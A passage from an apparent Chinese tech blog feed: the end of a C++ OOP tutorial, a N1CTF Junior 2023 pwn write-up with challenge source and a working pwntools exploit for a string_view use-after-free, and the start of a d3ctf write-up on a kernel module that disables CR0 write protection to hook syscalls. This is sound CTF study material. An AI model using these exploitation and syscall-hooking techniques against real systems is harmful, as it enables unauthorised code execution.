size)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">this</span>-&gt;size=size;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    <span class="type">int</span> size;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="function">apple2 <span class="title">foo1</span><span class="params">(<span class="number">3</span>)</span></span>; <span class="comment">//在变量后加括号表示调用它的构造函数。这条语句是合法的</span></span><br><span class="line">    apple1 foo2; <span class="comment">//不加括号也会隐式调用无参构造函数。这条语句是合法的</span></span><br><span class="line">    apple2 foo3; <span class="comment">//编译错误，因为apple2类不存在无参构造函数</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在构造函数中，我们常常需要将传入的参数赋值给对象成员，C++为我们提供了这样的简便写法</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">apple</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="keyword">explicit</span> <span class="title">apple</span><span class="params">(<span class="type">int</span> s)</span> : size(s) &#123;</span>&#125; <span class="comment">//大括号中为构造函数体，此处我们不需要进行其他操作所以为空</span></span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    <span class="type">int</span> size;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>另外，我们也可以在类的声明中为其成员赋初值。这样在初始化类的实例，调用构造函数时，成员会首先被赋值。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">book</span>&#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    std::string title = <span class="string">&quot;default_title&quot;</span>;</span><br><span class="line">    std::string content;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>在book类被初始化时，title成员被赋值”default_title”，而content成员则是调用std::string的无参构造函数后得到的std::string对象。注意此处没有显式为content赋值，但仍会调用std::string的构造函数，这与上面我们声明对象变量时（如<code>apple foo;</code>）相似。</p><h3 id="析构函数"><a href="#析构函数" class="headerlink" title="析构函数"></a>析构函数</h3><p>当一个对象离开它的作用域时，或手动释放对象时，对象要被销毁。销毁对应的函数就是析构函数(destructor)。析构函数不接受参数，没有返回值，名称为<code>~类名</code>。在析构函数中，我们应该释放对象之前显式申请的内存资源（例如malloc得到的内存），执行销毁时的特定逻辑。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">book</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">book</span>() &#123;</span><br><span class="line">        title=<span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line">        content=<span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    ~<span class="built_in">book</span>() &#123;</span><br><span class="line">        <span class="built_in">free</span>(title);</span><br><span class="line">        <span class="built_in">free</span>(content);</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    <span class="type">char</span>* title = <span class="literal">nullptr</span>;</span><br><span class="line">    <span class="type">char</span>* content = <span class="literal">nullptr</span>;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>在对象析构时，如果对象成员也是对象（不包括对象指针或引用），那么成员对象也会被析构。</p><p>对于有继承关系的类，因为多态，在delete对象指针时，对象的实际类型可能不是指针对应的类型</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">fruit* f = <span class="keyword">new</span> <span class="built_in">apple</span>();</span><br><span class="line"><span class="keyword">delete</span> f; <span class="comment">//f实际上指向apple对象</span></span><br></pre></td></tr></table></figure><p>而基类和子类的析构逻辑很可能是不一样的，因此对于有继承关系的类，我们应该使用虚析构函数。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">fruit</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">fruit</span>() = <span class="keyword">default</span>; <span class="comment">//赋值为default即使用默认的函数</span></span><br><span class="line">    <span class="keyword">virtual</span> ~<span class="built_in">fruit</span>() = <span class="keyword">default</span>;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">apple</span> : <span class="keyword">public</span> fruit &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    ~<span class="built_in">fruit</span>() <span class="keyword">override</span> = <span class="keyword">default</span>;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>此时再回想构造函数，因为在构造对象时，对象的类型一定是确定的，不存在多态，所以构造函数一定不是虚函数。</p><h3 id="拷贝构造函数"><a href="#拷贝构造函数" class="headerlink" title="拷贝构造函数"></a>拷贝构造函数</h3><p>与构造函数类似，但只接受一个当前类的常量左值引用的构造函数称为拷贝构造函数(copy constructor)。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">class foo &#123;</span><br><span class="line">public:</span><br><span class="line">foo(const foo&amp; f) = default; //拷贝构造函数</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>除了像构造函数一样使用外，在对象发生拷贝时（例如函数传参将对象值传递，或是将一个对象赋值给另一个同类型对象），拷贝构造函数会被调用。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">foo</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"><span class="built_in">foo</span>(<span class="type">const</span> foo&amp; f) = <span class="keyword">default</span>; <span class="comment">//拷贝构造函数</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">bar</span><span class="params">(foo f)</span> </span>&#123;</span><br><span class="line">    <span class="comment">// f是传递过来的参数经拷贝得到的</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    foo f1;</span><br><span class="line">    foo f2=f1; <span class="comment">//拷贝</span></span><br><span class="line">    <span class="function">foo <span class="title">f3</span><span class="params">(f1)</span></span>; <span class="comment">//像调用构造函数一样调用拷贝构造函数</span></span><br><span class="line">    <span class="built_in">bar</span>(f1); <span class="comment">//值传递时拷贝</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="移动语义与移动构造函数"><a href="#移动语义与移动构造函数" class="headerlink" title="移动语义与移动构造函数"></a>移动语义与移动构造函数</h3><p>在实践中，我们常常遇到一些“所有权转移”的问题。假如我实现了一个字符串类mystring，现在要将两个mystring类型变量的值互换：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mystring a,b;</span><br><span class="line">mystring tmp=a;</span><br><span class="line">a=b;</span><br><span class="line">b=tmp;</span><br></pre></td></tr></table></figure><p>在这样的过程中进行了额外的拷贝(tmp拷贝a，a拷贝b，b拷贝tmp)，在一些情况下会造成比较大的性能损失。我们原本要实现的并不是拷贝，而只是移动。因此引入了移动语义std::move（位于头文件utility）</p><p>std::move将变量的类型强制转换为右值引用，此时再进行赋值会调用对象的移动构造函数：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">mystring</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">mystring</span>(mystring&amp;&amp; s) = <span class="keyword">default</span>; <span class="comment">//移动构造函数</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>此时我们交换两变量就可以写成</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mystring a,b;</span><br><span class="line">mystring tmp=std::<span class="built_in">move</span>(a);               </span><br><span class="line">a=std::<span class="built_in">move</span>(b);</span><br><span class="line">b=std::<span class="built_in">move</span>(tmp);</span><br></pre></td></tr></table></figure><p>经过move后，原先的变量存储的实例不应再被使用。此时再访问a的成员属于未定义行为。</p><p>需要注意的是，std::move并不实际上移动对象内部的值，而是交由移动构造函数处理。在声明了拷贝构造函数而未声明移动构造函数的情况下，会默认调用拷贝构造函数。移动的具体行为是由移动构造函数定义的，并不一定会带来性能上的提升，而是取决于具体实现。</p><p>我们可以通过以下的例子感受std::string的移动</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;cstdio&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="function">string <span class="title">a</span><span class="params">(<span class="string">&quot;gfjerajgoiraheogehwofiewjiwihgerihgeioafheoifjowejgoidoqwi&quot;</span>)</span></span>; <span class="comment">//因为短字符串优化机制会影响字符串存储的位置，此处应为较长的字符串</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%p\n&quot;</span>,a.<span class="built_in">c_str</span>());</span><br><span class="line">    string b=a;</span><br><span class="line">    string c=std::<span class="built_in">move</span>(a);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%p\n%p\n&quot;</span>,b.<span class="built_in">c_str</span>(),c.<span class="built_in">c_str</span>());</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们注意到a存储字符串的位置，与a移动到c后存储字符串的位置相同，体现了移动。而b是由a拷贝而得，在堆上申请了内存，因此在仅需要移动的情况下使用拷贝会带来性能损失。</p><h3 id="友元类与友元函数"><a href="#友元类与友元函数" class="headerlink" title="友元类与友元函数"></a>友元类与友元函数</h3><h3 id="运算符重载"><a href="#运算符重载" class="headerlink" title="运算符重载"></a>运算符重载</h3><h3 id="强制类型转换"><a href="#强制类型转换" class="headerlink" title="强制类型转换"></a>强制类型转换</h3><p>在C++中，我们仍然可以使用C风格的强制类型转换</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span>* ptr = (<span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">256</span>);</span><br></pre></td></tr></table></figure><p>然而，在一些场景下，这样“简单直观”的类型转换会带来难以察觉的问题。因此，C++引入了4种强制类型转换</p><h4 id="const-cast"><a href="#const-cast" class="headerlink" title="const_cast"></a>const_cast</h4><p>const_cast用于将常量引用&#x2F;指针转为非常量引用&#x2F;指针，从而使其可写。注意这只是进行了类型转换，如果指针指向的位置本来就不可写，如果进行转换，即便通过了编译，在运行时也会出现问题。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="type">const</span> <span class="type">char</span>* p1 = <span class="string">&quot;hello world!&quot;</span>;</span><br><span class="line">    <span class="type">char</span> arr[<span class="number">15</span>]=<span class="string">&quot;hello world!&quot;</span>;</span><br><span class="line">    <span class="type">const</span> <span class="type">char</span>* p2 = arr;</span><br><span class="line">    <span class="built_in">const_cast</span>&lt;<span class="type">char</span>*&gt;(p1)[<span class="number">0</span>]=<span class="string">&#x27;a&#x27;</span>; <span class="comment">//p1对应的字符串存储在常量区，不可被修改。转换不合法</span></span><br><span class="line">    <span class="built_in">const_cast</span>&lt;<span class="type">char</span>*&gt;(p2)[<span class="number">0</span>]=<span class="string">&#x27;a&#x27;</span>; <span class="comment">//p2指向可写的内存，可以被修改，因此转换合法</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="static-cast"><a href="#static-cast" class="headerlink" title="static_cast"></a>static_cast</h4><p>static_cast用于进行一些数值类型上的转换（如有符号&#x2F;无符号 长&#x2F;短 整型&#x2F;浮点数），和类的强制转换（要求重载强制转换运算符）。</p><h4 id="dynamic-cast"><a href="#dynamic-cast" class="headerlink" title="dynamic_cast"></a>dynamic_cast</h4><p>dynamic_cast用于有继承关系的类之间的转换，转换发生在运行时，程序会根据对象的类型信息进行判断。若对象指针之间的转换不成功，会得到空指针；若对象引用之间的转换不成功，会抛出std::bad_cast异常。</p><h4 id="reinterpret-cast"><a href="#reinterpret-cast" class="headerlink" title="reinterpret_cast"></a>reinterpret_cast</h4><h3 id="多继承与菱形继承问题"><a href="#多继承与菱形继承问题" class="headerlink" title="多继承与菱形继承问题"></a>多继承与菱形继承问题</h3><h3 id="Itanium-ABI中的对象内存模型"><a href="#Itanium-ABI中的对象内存模型" class="headerlink" title="Itanium ABI中的对象内存模型"></a>Itanium ABI中的对象内存模型</h3><h2 id="常用STL"><a href="#常用STL" class="headerlink" title="常用STL"></a>常用STL</h2><h3 id="std-string"><a href="#std-string" class="headerlink" title="std::string"></a>std::string</h3><h3 id="std-vector"><a href="#std-vector" class="headerlink" title="std::vector"></a>std::vector</h3><h3 id="智能指针"><a href="#智能指针" class="headerlink" title="智能指针"></a>智能指针</h3>]]></content>
    
    
    <summary type="html">cpp与面向对象编程入门教程，推荐阅读前有C语言基础、会一点C++语法</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="cpp" scheme="https://zqy.ink/tags/cpp/"/>
    
    <category term="c++" scheme="https://zqy.ink/tags/c/"/>
    
    <category term="oop" scheme="https://zqy.ink/tags/oop/"/>
    
    <category term="develop" scheme="https://zqy.ink/tags/develop/"/>
    
  </entry>
  
  <entry>
    <title>N1CTF Junior 2023 pwn 顶级签到 赛题复现</title>
    <link href="https://zqy.ink/2023/05/12/dingjiqiandao/"/>
    <id>https://zqy.ink/2023/05/12/dingjiqiandao/</id>
    <published>2023-05-12T15:36:52.000Z</published>
    <updated>2025-11-14T08:20:36.879Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>之前还不会C++的时候对着源码冥思苦想，也没看出来哪有问题。现在似乎有了一点头绪。</p><h2 id="源码分析"><a href="#源码分析" class="headerlink" title="源码分析"></a>源码分析</h2><p>因为题目给了源码所以直接看</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;vector&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;exception&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string_view&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unordered_map&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;functional&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="function">string <span class="title">getInput</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    string res;</span><br><span class="line">    <span class="built_in">getline</span>(cin, res);</span><br><span class="line">    <span class="keyword">if</span> (res.<span class="built_in">size</span>() &gt; <span class="number">64</span>)</span><br><span class="line">        <span class="keyword">throw</span> std::<span class="built_in">runtime_error</span>(<span class="string">&quot;Invalid input&quot;</span>);</span><br><span class="line">    <span class="keyword">while</span> (!res.<span class="built_in">empty</span>() &amp;&amp; res.<span class="built_in">back</span>() == <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">        res.<span class="built_in">pop_back</span>();</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">bool</span> allow_admin = <span class="literal">false</span>;</span><br><span class="line"><span class="function"><span class="keyword">auto</span> <span class="title">splitToken</span><span class="params">(string_view str, string_view delim)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!allow_admin &amp;&amp; str.<span class="built_in">find</span>(<span class="string">&quot;admin&quot;</span>) != str.npos)</span><br><span class="line">        <span class="keyword">throw</span> std::<span class="built_in">invalid_argument</span>(<span class="string">&quot;Access denied&quot;</span>);</span><br><span class="line">    vector&lt;string_view&gt; res;</span><br><span class="line">    <span class="type">size_t</span> prev = <span class="number">0</span>, pos = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">        pos = str.<span class="built_in">find</span>(delim, prev);</span><br><span class="line">        <span class="keyword">if</span> (pos == std::string::npos)</span><br><span class="line">        &#123;</span><br><span class="line">            pos = str.<span class="built_in">length</span>();</span><br><span class="line">        &#125;</span><br><span class="line">        res.<span class="built_in">push_back</span>(str.<span class="built_in">substr</span>(prev, pos - prev));</span><br><span class="line">        prev = pos + delim.<span class="built_in">length</span>();</span><br><span class="line">    &#125; <span class="keyword">while</span> (pos &lt; str.<span class="built_in">length</span>() &amp;&amp; prev &lt; str.<span class="built_in">length</span>());</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">auto</span> <span class="title">parseUser</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">auto</span> tok_ring = <span class="built_in">splitToken</span>(<span class="built_in">getInput</span>(), <span class="string">&quot;:&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (tok_ring.<span class="built_in">size</span>() != <span class="number">2</span>)</span><br><span class="line">        <span class="keyword">throw</span> std::<span class="built_in">invalid_argument</span>(<span class="string">&quot;Bad login token&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (tok_ring[<span class="number">0</span>].<span class="built_in">size</span>() &lt; <span class="number">4</span> || tok_ring[<span class="number">0</span>].<span class="built_in">size</span>() &gt; <span class="number">16</span>)</span><br><span class="line">        <span class="keyword">throw</span> std::<span class="built_in">invalid_argument</span>(<span class="string">&quot;Bad login name&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (tok_ring[<span class="number">1</span>].<span class="built_in">size</span>() &gt; <span class="number">32</span>)</span><br><span class="line">        <span class="keyword">throw</span> std::<span class="built_in">invalid_argument</span>(<span class="string">&quot;Bad login password&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">make_pair</span>(tok_ring[<span class="number">0</span>], tok_ring[<span class="number">1</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">const</span> unordered_map&lt;string_view, function&lt;<span class="type">void</span>(string_view)&gt;&gt; handle_admin = &#123;</span><br><span class="line">    &#123;<span class="string">&quot;admin&quot;</span>, [](<span class="keyword">auto</span>)</span><br><span class="line">     &#123;</span><br><span class="line">         <span class="built_in">system</span>(<span class="string">&quot;/readflag&quot;</span>);</span><br><span class="line">     &#125;&#125;,</span><br><span class="line">    &#123;<span class="string">&quot;?&quot;</span>, [](<span class="keyword">auto</span>)</span><br><span class="line">     &#123;</span><br><span class="line">         cout &lt;&lt; <span class="string">&quot;Enjoy :)&quot;</span> &lt;&lt; endl;</span><br><span class="line">         cout &lt;&lt; <span class="string">&quot;https://www.bilibili.com/video/BV1Nx411S7VG&quot;</span> &lt;&lt; endl;</span><br><span class="line">     &#125;&#125;&#125;;</span><br><span class="line"><span class="keyword">constexpr</span> <span class="keyword">auto</span> handle_guest = [](<span class="keyword">auto</span>)</span><br><span class="line">&#123;</span><br><span class="line">    cout &lt;&lt; <span class="string">&quot;Hello guest!&quot;</span> &lt;&lt; endl;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">auto</span> [username, password] = <span class="built_in">parseUser</span>();</span><br><span class="line">    cout &lt;&lt; <span class="string">&quot;Enter &#x27;login&#x27; to continue, or enter &#x27;quit&#x27; to cancel.&quot;</span> &lt;&lt; endl;</span><br><span class="line">    <span class="keyword">auto</span> choice = <span class="built_in">getInput</span>();</span><br><span class="line">    <span class="keyword">if</span> (choice == <span class="string">&quot;quit&quot;</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;bye&quot;</span> &lt;&lt; endl;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">auto</span> it = handle_admin.<span class="built_in">find</span>(username); it != handle_admin.<span class="built_in">end</span>())</span><br><span class="line">    &#123;</span><br><span class="line">        it-&gt;<span class="built_in">second</span>(password);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">handle_guest</span>(password);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>代码粗看似乎没有逻辑上的问题，但是注意到使用了string_view，这是一个指向字符串的类型，自己并不拥有字符串数据，因此生命周期必须小于等于拥有的字符串，否则就会造成UAF。我们注意到parseUser函数返回pair&lt;string_view,string_view&gt;类型，而string_view对应的字符串在splitToken函数处返回，在main函数中显然已被析构。因此在main函数中得到的username, password构成UAF。</p><h2 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h2><p>在main函数中，只要choice不为”quit”就视为login，因此我们可以使choice字符串覆盖原先的username:password字符串，实现readflag。</p><p>对于较短字符串来说，因为SSO(Short String Optimization)机制（<a href="https://stackoverflow.com/questions/21694302/what-are-the-mechanics-of-short-string-optimization-in-libc">这篇回答</a>给出了比较详细的解释），字符串被存储在对象内部，无法完成漏洞利用。</p><p>对于较长字符串而言，std::basic_string会在堆上开辟空间存储字符串，因此很容易想到使第二次输入的字符串长度等于第一次，从而复用第一次开辟的堆空间。需要注意的是，username是string_view类型，存储了字符串切片的长度，因此在第一次输入时，username必须是5个字符长度。</p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">p=process(<span class="string">&#x27;./chall&#x27;</span>)</span><br><span class="line">p.sendline(<span class="string">b&#x27;aaaaa:&#x27;</span>+<span class="string">b&#x27;a&#x27;</span>*<span class="number">32</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;cancel&#x27;</span>,<span class="string">b&#x27;admin&#x27;</span>+<span class="string">b&#x27;a&#x27;</span>*<span class="number">33</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">N1CTF Junior 2023 pwn 顶级签到 赛题复现 by 没有头猪</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="n1ctf junior 2023" scheme="https://zqy.ink/tags/n1ctf-junior-2023/"/>
    
    <category term="cpp" scheme="https://zqy.ink/tags/cpp/"/>
    
  </entry>
  
  <entry>
    <title>(d3ctf)d3syscall赛题复现</title>
    <link href="https://zqy.ink/2023/05/07/d3syscall/"/>
    <id>https://zqy.ink/2023/05/07/d3syscall/</id>
    <published>2023-05-07T17:08:42.000Z</published>
    <updated>2025-11-14T08:20:36.883Z</updated>
    
    <content type="html"><![CDATA[<h2 id="程序逻辑分析"><a href="#程序逻辑分析" class="headerlink" title="程序逻辑分析"></a>程序逻辑分析</h2><p>先打开d3syscall文件，发现.init_array的初始化函数中释放了my_module文件，查找了kallsyms中的sys_call_table地址，并将其作为参数magic初始化内核模块my_module。</p><p><img src="/1.png"></p><p>dump下来my_module进行分析</p><p><img src="/2.png"></p><p>在init_module中，程序先保存了0x14f-0x153处的sys_call_table内容（至于为什么没有0x154…我只能猜是出题人忘了），保存cr0，然后更改cr0寄存器的bit16为0（WP写保护位）使sys_call_table所在的内存页可写，劫持0x14f-0x154的syscall为模块内部的函数，最后还原cr0。</p><p>由此我们分析若干syscall handler，分析过程中要注意传入syscall的参数rdi, rsi, rdx等被放置在了栈上，rdi指向栈的一个位置，因此handler一开始取[rdi+xxh]值的操作就是在找参数。通过简单的分析很好猜出来对应关系，或者搜一下<code>__fentry__</code>&#x2F;找找内核实现&#x2F;内核调试应该也能出。</p><p>分析可知模块内部实现了一个简单的vm，syscall number对应操作如下：</p><p>14fh: mov</p><p>150h: 算术运算</p><p>151h: push</p><p>152h: pop</p><p>153h: 清空寄存器</p><p>154h: 检查栈上内容是否符合要求</p><p>假设vm的四个通用寄存器为r0-r3，分析sub_13f5</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span 